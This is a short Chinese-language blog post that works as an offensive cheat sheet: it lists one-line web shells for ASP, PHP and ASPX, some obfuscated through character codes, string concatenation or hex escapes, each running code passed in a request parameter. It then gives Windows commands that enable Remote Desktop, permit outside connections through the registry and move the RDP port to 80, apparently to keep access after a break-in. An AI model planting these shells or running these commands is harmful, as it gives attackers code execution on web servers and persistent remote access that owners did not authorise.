一句话shell总结及开启3389端口

ASP一句话:
<%execute(request("aaa"))%> 
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("a"))%>
<%eval request("aaa")%>
PHP一句话:
<?php eval($_POST[aaa]);?>
<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>
ASPX一句话:
<%@PAGE LANGUAGE=JSCRIPT%>
<%var PAY:String=
Request["\x61\x62\x63\x64"];eval
(PAY,"\x75\x6E\x73\x61"+
"\x66\x65");%>
DOS下开3389 并修改端口号
sc config termservice start= auto

net start termservice

//允许外连
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f 

//该3389端口到80
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f

 

posted @ 2023-03-10 10:16  田家少闲月-  阅读(193)  评论(0编辑  收藏  举报